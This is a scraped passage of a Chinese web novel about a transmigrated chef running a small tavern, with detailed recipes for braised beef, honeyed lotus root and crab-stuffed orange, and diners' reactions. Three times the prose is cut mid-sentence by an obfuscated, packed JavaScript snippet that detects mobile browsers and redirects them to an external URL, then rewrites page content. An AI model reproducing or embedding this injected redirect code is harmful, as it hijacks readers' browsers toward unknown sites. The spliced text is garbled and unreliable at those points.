一切都在江云枫的计划内。 江云枫心情很好，从冰箱里拿出上午买的牛肉，今天人来得不少，她没得到空闲做耗时较久的酱牛肉。 前几天她去超市熟食区，买过别人做的酱牛肉，可能是腌制时间不够久，酱香和咸味都浮于表面，而且不知道是不是有段日子没卖出去，牛肉口感很硬。 这段时间对于现代社会的探索，让江云枫发现，现代生活节奏过快，人们很难耐下心做一件事，或者安安静静享受一顿饭。 但有些东西，就是需要时间沉淀，才更加美妙。 比如江云枫要做的宫廷酱牛肉，以及石榴露酒。 这宫廷酱牛肉，是江云枫祖母的绝学，当初在御膳房做好盛到圣上面前，都被连连夸赞。 御膳房的用料颇为讲究，连香料都是用小秤严格称过，再用来腌制的。 江云枫上午在市场游走了好久，终于将九大香料——大料、花椒、白芷、桂皮、山奈、丁香、小茴香、白蔻、砂仁——全部搜罗在一起。 牛肉用竹签细细扎过几遍，翻炒爆香的香料研磨成粉，细细涂抹在牛肉表面。 这肉要腌制一整晚才能入味，江云枫又开始制作石榴露酒。 那集市上采购的石榴个头很大，圆而饱满，绕着顶端的花切开六个小口，果皮直接开裂，深红色的石榴籽个个剔透如琥珀。 剥下石榴颗粒，放在大碗中轻轻碾压，清甜的汁水迸溅而出，果香弥漫在厨房。 江云枫拿来一个宽口的玻璃罐，开水仔细烫过三次杀菌，一层石榴与汁水，一层冰糖，轮流铺到八分满，再灌入白酒，密封，放在高高的橱柜上。 玻璃罐被渐变的粉红色填满，只是要等上三个月，才能开盖饮用，这份等待，也将时间窖藏出的醉人味道赋予石榴露酒。 一切都准备就绪，只等着明天开店再做菜。天色已晚，江云枫回了家。 江云枫很喜欢原主的家，那是户型很方正的三室一厅，每间卧室都朝南，还有一个视野很好的大阳台，能看到远远近近无数红色瓦片铺就的屋顶。 在阳台上远眺，可以看到不远处屋顶上放的花、种的彩椒与绿叶菜、挂得高高的被风吹动的一排衣服、窝在屋顶上晒太阳的猫...... 江云枫还在阳台上养了两小棵桂花树的树苗，正是深秋时节，每一片墨绿色叶子下，都有几小簇桂花，如同星星散落，浓郁的芳香飘满屋内。 由于很喜欢这个房子，所以了解到每个月要付8000元房贷，持续半年才能付完全款时，江云枫并没有想把房子转手。 店面房租已经赚到，她下一步要考虑的是，怎么样多扩展些客源，在不到一个月的时间内，净收入8000元。 江云枫早就发现了手机是个好东西，她用原主已经下载的各个软件，展开了搜索功能，并在心里有了初步计划。 - 第二日，江云枫上午七点多就来到了江家小酒馆。 开店第一件事，是熬一锅香浓的鸡汤，这鸡汤不是拿来喝的，而是用来焖煮牛肉。 小火慢煨，鸡汤咕嘟咕嘟冒泡，变成透着清凉色泽的金黄色。 已经腌透的牛肉沾满香料味，放入鸡汤，再将九种香料爆炒后用纱布裹紧，丢进汤中。 冰糖炒制出的焦糖色糖汁、江云枫精心调配出的酱汁，以及葱姜蒜入锅，盖上盖子，只等牛肉焖熟。 江云枫看着墙上的菜单，总觉得还少一些甜点。 上辈子，江家小酒馆越做越红火之后，便有了不同的分工，其中有个部门叫“蜜煎局”，专门研制蜜饯等甜味辅食。 其中广受欢迎的一道菜，叫“蜜煎藕”，江云枫思索着可以在食谱里加上这道菜。 秋季新下的藕有了，江云枫又去买了洋槐蜜，只是比较重要的一味盐渍白梅找不到，用了手机这个好东西搜索过后，她在中药铺买到了这种原料。 那盐渍过的梅子有些干瘪，表面铺了一层雪白的盐末，直接吃是又酸又咸的，可用来腌制藕片却能带来极佳的风味。 藕削皮切成两段，用筷子将泡好的糯米捅进藕的孔洞中，上锅蒸熟，藕变得软糯，糯米更是粘连在一起，散发清香。 将藕切成厚片，放入锅中，加入盐渍白梅泡的水，以及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793545|158240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洋槐蜜，来回翻炒。 糖汁逐渐变浓稠，带着浓郁酸甜味道的泡泡，包裹着藕片，将它浸润成琥珀色。 江云枫将蜜煎藕做好，拿了粉笔，在黑板上写下了宫廷酱牛肉和蜜煎藕的菜名，以及对应的价格。 刚写完，余光就瞥见有人进店，江云枫转头，看到前几天来吃饭的学生妹，带着另一个戴着黑色圆框眼镜的同龄男生。 “带同学来吃饭啦？”江云枫笑容满面，打招呼道。 “是的，这是我同桌。”何诗依一指顾瀚海，“这是今天新推出的菜品吗？我还没在群里见过。” 江云枫点头，只见那男生左右打量着江家小酒馆，挠了挠头。 “那我们要不要来一份酱牛肉？”何诗依转头问同桌。 “嗯......”顾瀚海看着那56元/份的价格，犹豫了。 在溪川市，这个属于酱牛肉正常的价格，但是对于高中生来说，还是有点太贵了。 “是这样，我们店刚开业不久，现在有大酬宾活动。品尝完我们店的美食，拍照四张，发朋友圈收集30个赞，饭菜价格可以打八折。”江云枫说出了昨天就研究好的吸引客源计划。 “这个活动也太好了！价格好合适啊。”何诗依在心里算了一下价格，便宜了10元多呢，“我的零花钱够用，咱们点这个吗？” “好，这个算我们一起点的，主食我要排骨饭，你呢？”顾瀚海推了推眼镜。 “我要一份腊味饭，一份蜜煎藕，再点两瓶可乐吧。”何诗依补充道。 “酱牛肉马上出锅，我给你们切一下。”江云枫进了厨房，感觉到手机震动，打开一看，是两个学生扫码付了钱。 江云枫打了个响指，庆祝1000元房租计划完成。 那牛肉已经炖煮好，一揭开盖子，新鲜的牛肉味直往鼻孔里钻，香料的刺激味道，更增加一抹醇厚。 锅中有三大块牛肉，每块都有一整个巴掌长，乍一看是深棕的酱色，仔细看，还透出星星点点的棕红色，那是牛肉裹的糖色。 用大漏勺捞出，牛肉冒着大量的白色雾气，肉和汤各香各的。 江云枫将肉块放在案板上，利刃划过，大块的牛肉变成薄片，每一片都呈现出深红棕色，肉丝纹理排布整齐，像是岩石般粗糙，其中还错综着白色的筋。 一片片牛肉切下，横刀一铲，整齐地码放在盘中，满满一大盘的牛肉，也对得起这个价格。 江云枫又拿了勺子，将那浓郁的汤汁，来回淋在酱牛肉上，切了葱丝和葱花撒在上面。 “我本来以为地图上看到这里够偏了，没想到比想象中还荒凉，一个人都没有。”顾瀚海凑到何诗依耳边小声道。 “我们应该来早了，过一会儿会有很多人来。”何诗依小声回话。 “进来的路跟迷宫一样，会有人来吃吗？”顾瀚海疑惑，“而且开在这里的店好像那种影视剧的黑店，卖很贵的价格，不给钱不让走。” “不会的，我来吃过几次了，江老板人很好的。”何诗依继续耳语，“等会儿你就知道了，这里的饭菜一分钱一分货，口感绝对超值。” “是么......”顾瀚海不相信。 眼角余光撇到江云枫端着牛肉走出来，顾瀚海像是上课开小差被抓包的学生，清了清嗓子坐直。 “请慢用。”江云枫将牛肉放在二人面前。 香料彻夜的腌制入味、鸡汤慢熬融入的鲜味、多种酱料渗透进牛肉深处的酱香......让那牛肉冒出来的香气堪称精华。 顾瀚海自己都没意识到，手里已经拿起了筷子。 14. 酱牛肉、蜜煎藕 凑近牛肉，那湿漉漉的热气，让顾瀚海的黑框眼镜蒙上一层水雾，他顾不得擦，就去夹肉。 筷子夹起牛肉，送入口中的过程中，那薄薄的牛肉微微颤动，让半透明的软筋看上去更加可口。 肉片临近嘴边，顾瀚海才反应过来，他刚刚质疑过江家小酒馆的水平。 他本想将牛肉一口吃下，此时又带了几分矜持，只咬了半块。 牛肉上的汤汁，浓缩了鲜鸡汤和酱牛肉的精华，先在嘴唇和舌尖荡漾出回味悠长的香味。 细细咀嚼更能发现这牛肉的不同寻常，从外而内都渗透香料富有沉淀感的香气，每一寸肉都带着均匀的酱香。 半片牛肉嚼完，只觉得不够过瘾。 顾瀚海为了控制进食的速度，剩下的半片按照纹理一丝一丝拆着吃，紧实的质感，越嚼越香。 “这个酱香味好足啊。”何诗依拣了末端一小块圆润的牛肉，整块入口。 肉块的酱汁含量刚好，既不会松散成丝，也不会塞牙。 深入肉层的酱香，伴随着咀嚼释放，软筋更加弹滑。 “味道怎么样？”何诗依看穿同桌想多吃，又故意放慢动作的样子，直想笑。 “嗯……还可以……”顾瀚海夹了一小撮雪白的葱丝，用牛肉包裹入口，“刚才没尝出来，我再尝尝。” 肉香厚重，嚼起来软嫩，葱丝清爽而略带辣感，破碎声清脆。 二者结合，堪称一绝。 眼见着顾瀚海夹牛肉频率越来越高，何诗依笑着调侃：“怎么样，这牛肉一分钱一分货吧？” “好吧，我确实得承认，这牛肉比以前吃过的都要浓香，而且尾调还有几分鲜甜。”顾瀚海一扶眼镜，边品味边评价。 没几分钟，排骨饭、腊肠饭和蜜煎藕都上了桌，顾瀚海视线左右摇摆，不知道先吃哪个。 “诶，别动，先拍照，等会还要集赞呢。”何诗依提醒道。 “对对对，我来拍。” 顾瀚海平时是个连外卖返现好评都懒得写的人，现在却认真端起手机，给每个菜都来了五张特写。 “大摄影师拍好了吗？”何诗依调侃道。 “好了好了。”顾瀚海上下滑动着相册，各种角度的菜品，五色交杂，精致又让人有食欲。 “咱们先干一杯吧，庆祝模拟考顺利完成。”顾瀚海放下手机，手指勾起可乐拉环，“哧”的一声脆响打开，细密的白色泡沫涌出。 何诗依也打开自己那杯：“嗯呐，干杯！” 汽水的甜味弥漫，何诗依喝了一口，气儿很足的可乐，让舌头麻麻的，甜甜的。 顾瀚海咬了口排骨肉，肥瘦相间的肉块，每一口都有鲜香肉汁渗出。 豆角软而不脓，土豆绵密，连那汤汁拌的饭都满口喷香，让他连连扒饭入口。 干杯之后，何诗依变得很落寞。 顾瀚海发现她不讲话，问道：“怎么了同桌，这两天一直觉得你不开心。” “就是……模拟考考得不好，班级排名怕是又要下降了。”何诗依想起来就有点心梗。 “其实不用着急，我们才高二，还有很多时间提高，模拟考可以当成是查漏补缺的工具。”顾瀚海虽然是学霸，却没什么傲气。 “可以多找些事情放松下心情嘛，比如，在这边吃饭就让人心情很好。” 顾瀚海已经掩饰不住对排骨饭和酱牛肉的喜爱，一口排骨，一口酱牛肉，一口饭，香气不离口。 “说得也是，每次在这边吃饭，都觉得心情被治愈了。” 何诗依听到顾瀚海的话，对成绩释怀了，眼前的腊肠饭更让她心情大好。 腊味的油脂带来口感的愉悦，饱满甜香的栗子，越嚼越香。 “你吃这个！味道很特别！”顾瀚海刚吃了一筷子蜜煎藕，就连连用筷子指着这道菜，让同桌也来尝，“吃了保证心情好。” 何诗依又吃了两勺腊味饭，才将勺子换成筷子。 藕片呈现半透明的琥珀色，外层还挂了浅棕色的糖汁，夹起来有点粘筷子。 本以为这藕片会是纯甜，没想到入口之后是七分甜三分酸。 “我本来不爱吃酸的，可这个味道，却比纯甜的红糖糯米藕好吃。” 何诗依咬了一口，藕是软糯的，糯米更是黏糊成一片，两者都水润多汁。 “因为这酸味是梅子酸，还挺清新的，而且带着一点点盐味，冲淡了酸，就像是在盐水里泡过的菠萝，没那么酸了。”顾瀚海边吃边分析。 “对对对，而且甜味也不工业糖精，好像是用了蜂蜜？”何诗依品味着。 “用料这么讲究，每道菜的味道层次感还这么丰富，老板真不是个普通人。”顾瀚海非常认真地讲道。 “能听到学霸这么夸人，真难得。”何诗依笑了。 顾瀚海一口接着一口吃，比何诗依早吃完十分钟，拿起手机专注地编写着评价，还配上了九宫格图片，发送。 “你竟然发朋友圈了！还写这么大一段话！”何诗依刷着手机，一口可乐噎在喉咙。 要知道顾瀚海之前一条朋友圈都不发，连朋友圈入口都没有，除了学习没有什么能让他在意。 “同桌，感谢你今天带我发现这个好店，那我不得好好评价一下～再说了，现在证实了做菜好吃，开在迷宫里还是客人满座。” 顾瀚海大手一挥，何诗依才发现，店内的六张桌子已经陆陆续续坐满了，甚至有的还是没座位了，陌生人一起拼桌的。 何诗依又认认真真看了一遍他发的内容，从食物的色香味、店面的整体环境、老板的做菜手艺全部夸了一遍。 她这边看着，不断有同班同学给这条朋友圈点赞、评论。 【卧槽，起猛了，顾大神也发朋友圈了。】 【这是一条广告吗？老顾啊，你要是被绑架了就眨眨眼。】 【虽然是学霸倾情推荐，可我怎么不太相信呢？真有这么好吃吗？】 【夺少钱？56元一份吗？学霸是不是学傻了，烧钱解压啊……】 【这不是那个上过“溪川十大难吃榜单”的江家小酒馆吗？】 【你为什么帮这家店讲话？开店的是你家亲戚吗？】 顾瀚海看着这么多评论，都有点回不过来了，最后只全部回复了一条“我一开始也不相信这家店好吃，但真的尝试一次，就会真香！” “是这样的，我一起吃的，我作证！”何诗依跟着回复。 顾瀚海向江云枫展示三十个赞时，难免露出了几条恶评，他挠挠头：“我有的同学不了解就乱说。” “没关系啊，无论做成什么样子，总会有人给出负面评价。时间会证明，我们店真实的实力是什么样的。”江云枫看到这评价，连表情都没变。 顾瀚海一怔，有些佩服江云枫了。 “这边赞集够了，这是打完折的价格。”江云枫一点没推脱，直接告知了折扣价。 “好的，我请客。”顾瀚海发现她和之前遇到的商家不同，一点也不会用套路来推脱优惠。 他为自己对江家小酒馆是“黑店”的猜测很愧疚，直接请了客。 - 比何诗依、顾瀚海稍晚到店的，是打印店小哥章岩曾提到过的，做古风室内设计的朋友洛之桃。 在洛之桃亮明身份前，江云枫已经察觉了她的不一般，她穿着汉服， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793546|158240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是淡粉色交领齐腰襦裙，进店就引起一片注意的目光。 要不是讲话太现代，江云枫差点以为她也是从古代穿越来的。 “江老板，说实话我刚进店，是有点想走的。” 洛之桃不像打扮出的那么淑女，穿着汉服依然大剌剌地翘着二郎腿，讲话也大声且直白。 “我们做室内设计的最讲究审美，你看这环境根本就不搭嘛。”洛之桃这里指指那里指指。 “桌子这么破，但是插花又很见功夫；椅子是土土的塑料圆凳，墙上却有高雅挂画；厨房现代得不行，碗盘却是木质复古风……” 洛之桃吐槽一番，话锋却又一转：“要不是这饭菜闻着太香了，我早走了。” 看着她嘴唇边一圈棕色的牛肉酱汁，江云枫用拇指和食指摩挲下巴：“是的，看出来了。” 刚才洛之桃刚要走，就闻到浓郁的酱牛肉香气从厨房飘出。 那个香味的穿透力和留香程度，把她死死地锁在座位上。 而且她看到有些古风的菜名，直接专业对口了，个个都想尝尝，除了点一份别无他法。 每一寸牛肉都酱汁浓厚，咸味均匀，又嫩又有嚼劲，外层带着微甜，内层有鸡汁的醇香。 直勾得人连续不断咀嚼，可偏偏又越嚼越香，一次不吃个十几片根本停不下来。 洛之桃好不容易把自己从酱牛肉中拔出来，又看到隔壁两个高中生点了蜜煎藕。 这甜中带酸、酸中有糯米和藕清香的藕片，既开胃，口感又软糯，慢慢品很有滋味。 两道菜一吃，洛之桃对江云枫的态度，从“啊品味好差”变为“她这么装修肯定有自己的苦衷，可能做菜太忙顾不上环境罢了”。 “我朋友章岩说你家店想往古风方向发展，需不需要我帮你做个室内设计图纸？”洛之桃主动开口。 “这个……暂时不用，可能过几个月要换店址。” 江家小酒馆现在的门店，租期还有不到两个月。 可人越来越多，不仅大堂不够坐，只有两个灶台的厨房也来不及出菜。 她正在考虑收入稳定下来后换店址。 “那好，等你换完店址，需要室内设计一定找我哦，我可以给你打折。”洛之桃拍拍胸脯。 “有什么交换条件吗？这么痛快就给我打折。”江云枫一脸看透一切的笑容。 “嘿嘿，就是，以后出新品，通知我第一个来吃可以吗？”洛之桃用食指挠着太阳穴。 “恐怕……现在已经有五个人跟我提过，想要第一个吃到了。”江云枫掰着指头计算，“公平起见，我直接把消息放群里，看大家谁先到，先到先得。” “没问题，相信我的速度。”洛之桃摩拳擦掌的样子逗笑了江云枫。 “不过别的优惠倒是可以有，我们现在有个活动，将对我们店的评价搭配4张图片发朋友圈，集赞30个，有八折优惠，要参加吗？” “要！马上就写～” - “什么饭馆这么好吃，连顾瀚海都放下清高写好评了？”楚逸山“哼”了一声，抓了抓自己的狼尾发。 他是班里很典型的叛逆显眼包，坐在第一排，每天的任务是接老师的话使其生气、和同学抬杠使其红温，然后嘎嘎乐。 看到顾瀚海长篇大论的好评，他又找到了新的可以跟人对着干的事。 尤其是有一个当了二十年厨师的老爸，让他更不相信什么饭馆能这么好吃。 他决定去江家小酒馆品鉴一下菜品，然后向同学们庄严宣布，这个老板比不上自己老爸的小指头。 在顾瀚海发出评价后的第二天中午，楚逸山来到了江家小酒馆。 15. 珊瑚白菜、蟹酿橙 “藏这么深，顾瀚海怎么找到的？”楚逸山刚到店门口就忍不住吐槽。 朝店里望去，却和他想象中桌面地面都油腻腻、墙壁破烂掉皮的苍蝇小馆，很不一样，不仅环境清雅，而且刚到饭点，里面只剩一张空桌子了。 “布置得还挺花里胡哨。”楚逸山嘟嘟囔囔进店，还没坐下，就看到厨房门开着，一只螃蟹快速爬行出来。 然而没过几秒，那螃蟹就被一只纤细的手按住，拇指食指捏着壳一提，螃蟹只能踢着腿挣扎。 “竟然还越狱了，这下跑不掉了吧。”江云枫说着，拿出一根白绳，手指翻飞，绳子左右缠绕、打结，蟹腿被束缚收起，整个螃蟹完成了五花大绑。 这个过程不过两三秒钟，娴熟的动作让楚逸山看愣了。 “刚上市的大闸蟹，调皮得很。”江云枫抬头见是生面孔，灿然一笑，“坐吧，等我处理一下就来点菜。” 江云枫将螃蟹在流水下刷洗过，放上蒸锅，开了火，而后拿了点菜单来到楚逸山面前。 “你看想吃点什么？” “我同学昨天发动态说你们店的菜非常好吃，不过他品味一向很差，所以我今天特地代表同学们，来验证一下你们店的真实水平。”楚逸山不怀好意地笑着。 “老板的水平啊，那可太好了，得把你这小毛头震得一跳！”万弘顺正等着吃螃蟹，听到这话为江云枫愤愤不平。 江云枫听出了他说的“同学”是顾瀚海，也感受到了他语气里的挑衅，不过毫不在意：“他昨天吃的是宫廷酱牛肉、蜜煎藕，还有排骨饭，你要和他来一样的吗？” 楚逸山向来以把人惹毛为乐，见江云枫嘴角微笑的弧度都没变，他有些不快：“我爸当大厨已经有二十多年了，对于美食品评这块我是专业的，没几个菜能入我的眼，但愿你做的菜能让我多吃几口吧。” “你别把盘子都舔干净了就好。”林若雪也在等菜，看着楚逸山翻了个白眼。 “额......”江云枫的表情有些为难，楚逸山笑得更开心了，然而下一秒，他不敢相信自己的耳朵。 “我可能比你爸经验更丰富些。”江云枫用平静的语气说出了嚣张的话。 她暗暗想，她长得还没灶台高时，就开始研究菜了，一直做菜到上辈子人生最后几天，这怎么不是七八十年的工作经验呢？ “你看上去也就二十出头，你意思是说你刚出生就当厨师了？”楚逸山想起“20岁拥有30年编程经验”的梗，满脸不可思议。 “开玩笑的。”江云枫笑了，“越简单的菜越能看出厨艺，推荐你点这道刚出的珊瑚白菜。” “为什么好多菜名都起得故弄玄虚的？”楚逸山讲话一点儿也不客气。 “那叫雅！大雅！”洛之桃拍着桌子大声哔哔。 “倒没有故弄玄虚，这些菜一千多年前确实是这个名字，我只是复刻了古代菜品。”江云枫根本不把面前这高中小孩的话放心上。 “那行，我就要宫廷酱牛肉、珊瑚白菜，再要一碗米，我看看这古代菜味道有多新鲜。” 楚逸山看着黑板上写的菜名，跟顾瀚海昨天发朋友圈拍的菜名相比，多了珊瑚白菜、蟹酿橙和螃蟹小饺。 后两道菜听着很新鲜，不过价格都是四十多，他不相信江云枫的水平，也就不花那么多钱踩雷了。 “可以，你也可以看下我们店的折扣活动。”江云枫一指黑板，下面的一行小字，解释了发动态集赞享受八折优惠的活动参与方式。 “不用了，我很有钱。”楚逸山拍了一张百元大钞在桌面上。 以前在大梁，也曾有达官贵人说着“我有银钱万两”，倒出一大袋子金元宝，作为吃爽了之后的打赏。 江云枫听到这相似的话，准备眼前一亮，再一看桌子上的一百元，差点笑出声，周围的食客们视线瞄到这里，也在憋笑。 楚逸山觉得江云枫见钱眼开被自己震惊了，笑了，江云枫觉得这小孩很有意思，也笑了。 “那你稍等，饭菜马上上桌。” 这几天好几个食客在群里反应，店里的素菜跟肉一样好吃，希望能多加一些种类的素菜，江云枫先加的，就是这道珊瑚白菜。 这白菜是糖醋口的，因切成珊瑚状的细丝而得名。 看上去是简单的糖醋白菜，可不同的做法，却能区分出口感究竟是平平无奇，还是令人难忘。 江云枫搬出一颗直径和盘子一样大的白菜，掰开外层的绿叶，只取稍内层的黄色菜心，因为这部分切出来、入口都不会吃到白菜邦的丝，且口感微甜。 白菜被切成筷子粗细的均匀丝状，撒盐腌制，再用纱布吸干水分，整齐地铺在盘子里。接下来铺上焯水后的蘑菇、细若绣线的葱丝，以及红辣椒碎。 白砂糖融化后添了香醋的糖醋汁，淋在白菜上格外浓稠。 煸炒过花椒、混合了花生油和小磨香油的热油，淋在白菜上，登时“滋滋”冒热气，油泡在白菜上翻腾了好一会儿。 有了这两味料汁的加持，几种食材的滋味融在了一起。 酱牛肉最近很受欢迎，大锅里已经炖好了五六块，江云枫揭开盖子，湿漉漉的热气伴随香气冒出，拎出牛肉利落切片，饭菜很快都上桌了。 “这么快就做好了，这能好吃吗？”楚逸山被这速度惊呆了。 “自己试试就知道了。”江云枫效率一向很高，这会儿也不啰嗦，干脆地转身，回厨房继续做蟹酿橙了。 楚逸山撇撇嘴，不过他确实被面前两道菜的香味吸引了。 酱牛肉自不用说，毕竟是肉类，又加了浓厚的酱，香味扑鼻又勾人。 可让他意外的是，连这个纯素的珊瑚白菜，气息竟然也很迷人，凑近了，能闻出来酸甜的气味，可没两秒，那随之而来的辛辣气儿，让他差点打喷嚏。 “我还以为什么神奇菜品呢？还珊瑚白菜，这不就是酸辣白菜吗？” 楚逸山不屑一顾地夹起一小撮白菜，一口吃下。 跟想象中不同，这白菜竟然还带着香菇的菌菇气息，嚼起来“嚓嚓”脆响，而且熟度正好，菜叶子没蔫儿，菜帮子也没脓，吃着很爽脆。 白菜饱满又多汁，每嚼一下，都有汁水渗出，初品是酸甜口的，甜而不腻，酸而不倒牙，只觉得开胃。 然而辛辣味道马上紧跟其上，辣味不至于让人大口呼气，只是萦绕在舌尖的刺激感，让人身上微微发热，此外那花椒的微麻也攀上舌头。 楚逸山完全没想到，能从一口白菜上感受到这么丰富的味道层次。 “这白菜竟然这么多门道？”楚逸山疑惑地又夹起一筷子。 脆脆的质感，让他连连咀嚼，甜、咸、鲜爽、辣、麻，多种口感让他欲罢不能。 而且让他更惊讶的是，很多食物都是第一口好吃，而后越吃越没滋味，这白菜却每一口都像第一口一样，爽口、美味。 他将一大撮白菜夹到米饭上，混同米饭一起扒拉入口，白菜多汁且下饭，让没太多味道的米饭都显得很诱人。 “小子，你怎么开始吃饭就不说话了？”万弘顺在一旁哈哈笑，毕竟他也是过来人，一开始怎么都不信味道好吃，吃到之后却停不下来。 “食不言寝不语。”楚逸山冷哼一声。 但他心里确实觉得，这酸辣白菜做得比自己老爸做得好，他老爸做菜，一般都是用宽油爆炒，再配合炫技的颠勺，要说味道，其实是油多导致的，不是菜本身香。 江云枫做的白菜，却是硬香。 连白菜都这样，楚逸山开始好奇酱牛肉的味道了。 他夹起一片牛肉，送入口中，牛肉又嫩又紧实，而且并没有出现肉层 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793547|158240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深处味道变淡的情况，厚重浓香的口感，让他好吃到打了个哆嗦。 再搭配上米饭，酱香浓郁的肉汁和米饭同嚼，也是下饭神器。 “怎么样，弟弟，好不好吃？”洛之桃伸手拍拍桌子，示意他往这里看。 “咳咳......”楚逸山清清嗓子，小声道，“还可以吧。” 周围的食客心照不宣地交换了眼神，哈哈笑了。 林若雪本身也在关注这边的情况，只不过江云枫端着蟹酿橙来到她面前时，她完全没办法分心看别的了。 “这摆盘，简直美得像一幅画......”林若雪看呆了。 盘子中间是一颗硕大饱满的橙子，橙子从顶上五分之一处切成两半，切口处都是精致的锯齿状。 上面做盖子，橙皮上还有花纹复杂的雕花；下面做碗，盛着小火慢炒过的蟹黄、蟹肉和橙肉颗粒。 不止如此，在白瓷盘的左上部，有几小颗橙色雏菊做点缀，更添秋意。 白瓷盘的右下角，有一只蜷着腿的完整螃蟹，呈现出蒸熟后的深橙色，蟹壳还泛着光，栩栩如生。 林若雪一拨弄蟹壳，才发现这竟然只是壳子，内里的蟹肉都被剔出来了，但是除了蟹腿和蟹身的连接处有断面，其他部分都是完整的。 “这拆蟹技术也太了不起了！”林若雪由衷感慨。 江云枫在厨房听到这话，只是微微一笑，手上拆蟹的动作不停，因为今天在场的人几乎都点了蟹酿橙和螃蟹小饺。 她拆蟹也不用什么复杂的工具，就一把长柄的细剜刀。沿着蟹壳一翻，不能吃的器官各个剔除，橙红色的蟹黄、白色的蟹肉悉数拨出。 哪怕是蟹腿这些细小部位的肉，也都能变换角度剜干净。 林若雪细细闻了一下，蟹香味扑鼻，难得的是没有腥味，反而有股微醺的酒味，橙子清新的果香更是满溢，带来清甜。 她用勺子舀了点蟹肉，小心送入口中，陶醉地品味着。 蟹黄先是混着葱丝炒出橙红的油汁，后来又用这油汁炒的蟹肉，味道自是妙不可言，她抿上一口，被蟹黄的油汁味和蟹肉香气迷醉了。 更不用说那染上蟹香的橙子，细小的颗粒在口中爆开，橙汁甜丝丝的，还很温热。 林若雪一小勺一小勺慢品着，生怕吃快了，缩短了享受的时间。 “啊啊啊啊啊我的蟹酿橙怎么还不上啊，我要闹了！”洛之桃看着林若雪吃，口水直流，冲着江云枫哼哼唧唧。 “还有我的！只能看不能吃简直是处刑啊！” “早知道今天上新品，就来早点了，好后悔......” 在座食客无不眼馋，而楚逸山也在边吃边偷偷观察林若雪吃蟹酿橙，毕竟他们桌子相邻，那混合着橙香的蟹香丝丝缕缕飘过来，太过勾人。 楚逸山见江云枫在忙没注意他，狼吞虎咽吃完了面前的美味，意犹未尽地舔着嘴唇。 看到盘子里还有一些棕色的牛肉酱汁，他试图用勺子刮起来，却没成功，想到林若雪让他“可不要舔盘子”，他有些心虚，可那一点酱汁就那么香地摆在那里...... 见林若雪沉迷蟹酿橙无法自拔，楚逸山飞快地舔了一下盘子。 “好像该付钱走了......”楚逸山看着面前空空如也的餐盘，却不舍得离开。 他的胃有点饱了，可恶的是，他的嘴没饱。 如果蟹酿橙的威力，是让他整个人焊死在座位上，不忍离开。 那随后出锅的螃蟹小饺，更是突破了他最后的防线。 螃蟹小饺出锅，放在了洛之桃面前，每一个饺子都金灿灿的。 她咬了一口，饺子酥皮碎裂，蟹香味涌出。 楚逸山喉结滚动，咽了咽口水，终于忍不住了。 他站起身，大步流星朝江云枫走去。 16. 蟹酿橙、螃蟹小饺 江云枫正在做菜，楚逸山走到厨房门口，刚张开口，香味就往嘴巴里钻。 桌上的蒸屉里，放着刚出锅的大闸蟹，螃蟹肥而个头大，呈现出诱人的橘红色，不加调料、本真的蟹香味弥漫。 江云枫来回翻炒蟹肉，蟹黄煸出鸭蛋黄流心质地的油汁，将白色葱丝和雪白的蟹肉染色，淋上酒酿，加入汁水饱满的橙子，锅内油花“呲呲”作响，醇香与果香融入蟹肉。 另一旁的锅盛了半锅油，边缘捏出花纹的螃蟹小饺落入油锅，包裹上细密的油泡，在变成恰到好处的金黄之时，被江云枫捞在一旁沥油。 “嗯......”楚逸山迷醉地眯起了眼睛。 “你要结账吗？”江云枫闻声转身。 他咽了咽口水，喉咙“咕噜”一声，有点尴尬：“额......不......不是的，我想再要一份蟹酿橙，一份螃蟹小饺。” “不吃了吧。”江云枫狡黠地望着他，“这两道也是古代菜品，别让我故弄玄虚玄到你了。” “啊？我......”楚逸山想起刚才很不客气地嘲讽过江云枫，脸上一阵红一阵白，紧张地抓了抓狼尾发。 “江老板，来份蟹酿橙，再要盘螃蟹小饺。”苏慧茹的声音由远及近，几分钟前她在群里看到了发布的新菜，马不停蹄就赶来了。 “好嘞。”江云枫立刻应和。 “诶！别呀！我先来的！”楚逸山见有人要排在自己前面，急了，又怕江云枫生气了不卖他吃的，“江老板，我错了，刚来店我确实太不礼貌了，您做的饭菜很好吃，比我爸做的摆盘更好，滋味也妙。” “你就卖我一份尝尝吧，行吗？” 同班同学要是看到一向乐子人的楚逸山，还能用恳求的语气跟人讲话，怕是会惊掉下巴。 “那好，你等一下，我先给她上菜，下一份给你。”江云枫下巴轻抬，示意楚逸山排在苏慧茹后面。 “嗯......行。谢谢老板宽宏大量，不跟我计较。”楚逸山听到这话，既焦急又乐呵，苦于等待，又怕江云枫不卖他吃的，只能听从她的安排。 大堂的食客们见证了全程，纷纷憋笑。 